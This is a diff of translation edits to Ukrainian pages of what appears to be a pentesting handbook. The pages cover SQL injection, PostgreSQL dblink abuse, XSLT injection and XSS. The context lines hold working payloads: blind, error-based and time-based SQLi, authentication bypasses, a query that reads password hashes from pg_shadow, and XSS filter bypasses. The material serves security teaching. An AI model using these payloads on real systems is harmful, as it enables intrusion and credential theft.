Коли вихід запиту видимий, але об'єднаний ін'єкцію здається неможливим, це вказує на наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію в об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільового DBMS.
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.
|
||||
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Після цього до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує використання нової доступної об'єднаної ін'єкції.
|
||||
|
||||
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Використання на основі помилок
|
||||
|
||||
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете встигнути скинути базу даних.
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Використання сліпого SQLi
|
||||
|
||||
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\
|
||||
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинне** або **хибне** значення, оскільки на сторінці є різний вміст.\
|
||||
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Використання Error Blind SQLi
|
||||
## Використання помилок Blind SQLi
|
||||
|
||||
Це **така ж ситуація, як і раніше**, але замість того, щоб розрізняти істинну/хибну відповідь на запит, ви можете **розрізняти** наявність **помилки** в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Використання SQLi на основі часу
|
||||
## Використання Time Based SQLi
|
||||
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше для [підтвердження вразливості SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
@ -281,15 +281,15 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
**Рекомендований список**:
|
||||
|
||||
Ви повинні використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
&#xNAN;_(Ці payloads також включені у великий список, згаданий на початку цього розділу)_
|
||||
_(Ці пейлоади також включені у великий список, згаданий на початку цього розділу)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK Аутентифікація Бypass
|
||||
### GBK обходи автентифікації
|
||||
|
||||
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
Якщо ' ескейпиться, ви можете використовувати %A8%27, а коли ' буде ескейплено, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -304,7 +304,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Поліглотна ін'єкція (мультіконтекст)
|
||||
### Поліглотна ін'єкція (мультиконтекст)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -312,7 +312,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modify password of existing object/user
|
||||
|
||||
Щоб це зробити, ви повинні спробувати **створити новий об'єкт з назвою "master object"** (ймовірно, **admin** у випадку користувачів), модифікуючи щось:
|
||||
Щоб це зробити, ви повинні спробувати **створити новий об'єкт з назвою "master object"** (можливо, **admin** у випадку користувачів), модифікуючи щось:
|
||||
|
||||
- Створити користувача з ім'ям: **AdMIn** (великі та малі літери)
|
||||
- Створити користувача з ім'ям: **admin=**
|
||||
@ -336,7 +336,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
@ -363,7 +363,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### Використання десяткових або шістнадцяткових
|
||||
|
||||
За допомогою цієї техніки ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
|
||||
Використовуючи **hex2dec** та **substr**:
|
||||
```sql
|
||||
@ -422,7 +422,7 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### Загальні обхідні методи
|
||||
|
||||
Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер
|
||||
```sql
|
||||
@ -451,7 +451,7 @@ Basically you can use the scientific notation in unexpected ways for the WAF to
|
||||
|
||||
По-перше, зверніть увагу, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Можливо **отримати доступ до третього стовпця таблиці без використання його назви**, використовуючи запит, подібний до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так:
|
||||
Можливо **отримати доступ до третього стовпця таблиці без використання його назви** за допомогою запиту, подібного до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Мережа - Привілеї, Портовий сканер та розкриття відповіді NTLM
|
||||
# Мережа - Привілейоване підвищення, сканер портів та розкриття відповіді NTLM
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,7 +17,7 @@ CREATE EXTENSION dblink;
|
||||
local all all trust
|
||||
```
|
||||
_Зверніть увагу, що ця конфігурація зазвичай використовується для зміни пароля користувача бази даних, коли адміністратор його забуває, тому іноді ви можете її знайти._\
|
||||
&#xNAN;_Nверніть увагу також, що файл pg_hba.conf читається лише користувачем і групою postgres і записується лише користувачем postgres._
|
||||
_Також зверніть увагу, що файл pg_hba.conf доступний для читання лише користувачем і групою postgres і запису лише користувачем postgres._
|
||||
|
||||
Цей випадок є **корисним, якщо** ви **вже** маєте **shell** всередині жертви, оскільки це дозволить вам підключитися до бази даних postgresql.
|
||||
|
||||
@ -26,7 +26,7 @@ _Зверніть увагу, що ця конфігурація зазвича
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Оскільки це дозволить всім з localhost підключатися до бази даних як будь-який користувач.\
|
||||
У цьому випадку, і якщо функція **`dblink`** **працює**, ви могли б **підвищити привілеї**, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ:
|
||||
У цьому випадку, якщо функція **`dblink`** **працює**, ви можете **підвищити привілеї**, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=postgres
|
||||
@ -40,7 +40,7 @@ dbname=postgres',
|
||||
'select usename, passwd from pg_shadow')
|
||||
RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Портове сканування
|
||||
### Port Scanning
|
||||
|
||||
Зловживаючи `dblink_connect`, ви також можете **шукати відкриті порти**. Якщо ця \*\*функція не працює, вам слід спробувати використовувати `dblink_connect_u()`, оскільки документація стверджує, що `dblink_connect_u()` ідентична `dblink_connect()`, за винятком того, що вона дозволяє не-суперкористувачам підключатися, використовуючи будь-який метод аутентифікації\_.
|
||||
```sql
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
XSLT - це технологія, що використовується для перетворення XML-документів у різні формати. Вона має три версії: 1, 2 та 3, причому версія 1 є найпоширенішою. Процес перетворення може виконуватись як на сервері, так і в браузері.
|
||||
XSLT - це технологія, що використовується для перетворення XML-документів у різні формати. Вона має три версії: 1, 2 та 3, причому версія 1 є найпоширенішою. Процес перетворення може виконуватися як на сервері, так і в браузері.
|
||||
|
||||
Найчастіше використовувані фреймворки включають:
|
||||
|
||||
@ -12,7 +12,7 @@ XSLT - це технологія, що використовується для
|
||||
- **Xalan** від Apache,
|
||||
- **Saxon** від Saxonica.
|
||||
|
||||
Для експлуатації вразливостей, пов'язаних з XSLT, необхідно, щоб теги xsl зберігались на стороні сервера, після чого потрібно отримати доступ до цього вмісту. Ілюстрація такої вразливості задокументована в наступному джерелі: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
Для експлуатації вразливостей, пов'язаних з XSLT, необхідно, щоб теги xsl зберігалися на стороні сервера, після чого потрібно отримати доступ до цього вмісту. Ілюстрація такої вразливості задокументована в наступному джерелі: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## Приклад - Посібник
|
||||
```bash
|
||||
@ -77,7 +77,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Визначення відбитків
|
||||
### Відбиток
|
||||
```xml:detection.xsl
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
@ -105,7 +105,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
І виконати
|
||||
Виконати
|
||||
```xml
|
||||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||||
|
||||
@ -187,7 +187,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
## Впровадження Javascript
|
||||
## Javascript Injection
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
@ -367,12 +367,14 @@ version="1.0">
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Приклад з [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
|
||||
## Більше Пейлоадів
|
||||
|
||||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
- Перевірте [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Перевірте [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **Список виявлення брутфорсу**
|
||||
## **Список виявлення грубої сили**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
|
||||
## **Посилання**
|
||||
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,15 +3,15 @@
|
||||
## Методологія
|
||||
|
||||
1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_параметри_, _шлях_, _заголовки_?, _куки_?) **відображається** в HTML або **використовується** кодом **JS**.
|
||||
2. **Знайдіть контекст**, в якому воно відображається/використовується.
|
||||
2. **Знайдіть контекст**, де воно відображається/використовується.
|
||||
3. Якщо **відображається**
|
||||
1. Перевірте, **які символи ви можете використовувати** і в залежності від цього підготуйте payload:
|
||||
1. У **сирому HTML**:
|
||||
1. Чи можете ви створити нові HTML теги?
|
||||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
@ -50,7 +50,7 @@ debugging-client-side-js.md
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибута HTML тегів
|
||||
### Всередині атрибута HTML тегу
|
||||
|
||||
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
@ -94,7 +94,7 @@ js-hoisting.md
|
||||
|
||||
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на кшталт: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ви також можете спробувати **викликати функції Javascript** безпосередньо: `obj.sales.delOrders`.
|
||||
|
||||
Однак, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
Однак, зазвичай кінцеві точки, що виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
|
||||
Тому, щоб **зловживати цією вразливістю в іншому DOM**, була розроблена експлуатація **Same Origin Method Execution (SOME)**:
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Універсальний XSS**
|
||||
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, але й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та багато іншого.\
|
||||
Деякі **приклади**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Впровадження всередині сирого HTML
|
||||
|
||||
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML код в цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
|
||||
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*або \*\*\*\*\*\***`--!>`\*\**_
|
||||
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти та впровадити HTML код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
|
||||
Для цих випадків також **пам'ятайте про** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*або \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
|
||||
```html
|
||||
@ -166,7 +166,7 @@ alert(1)
|
||||
|
||||
### Брутфорс тегів/подій
|
||||
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **брутфорсити всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливий WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **брутфорсити всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
|
||||
### Користувацькі теги
|
||||
|
||||
@ -243,14 +243,14 @@ onerror=alert`1`
|
||||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться, якщо ваш ввід безпосередньо відображається всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -265,14 +265,14 @@ onerror=alert`1`
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### У межах атрибута
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете виконати довільний код, коли на неї натиснуть.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Назад </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -386,7 +386,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
### обхід обробників подій
|
||||
|
||||
По-перше, перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" обробників подій**.\
|
||||
У разі, якщо існує якийсь чорний список, що заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
|
||||
У разі, якщо існує якийсь чорний список, який заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
І в **meta tags**:
|
||||
І в **meta тегах**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -426,11 +426,11 @@ onbeforetoggle="alert(2)" />
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
|
||||
|
||||
### Обхід чорного списку
|
||||
|
||||
Вже було виявлено кілька трюків з використанням різного кодування в цій секції. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
|
||||
|
||||
- **HTML кодування (HTML теги)**
|
||||
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
@ -440,19 +440,19 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
**Обходи для HTML тегів та атрибутів**
|
||||
|
||||
Читайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
Прочитайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
|
||||
**Обходи для JavaScript коду**
|
||||
|
||||
Читайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
Прочитайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Гаджети
|
||||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного роду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
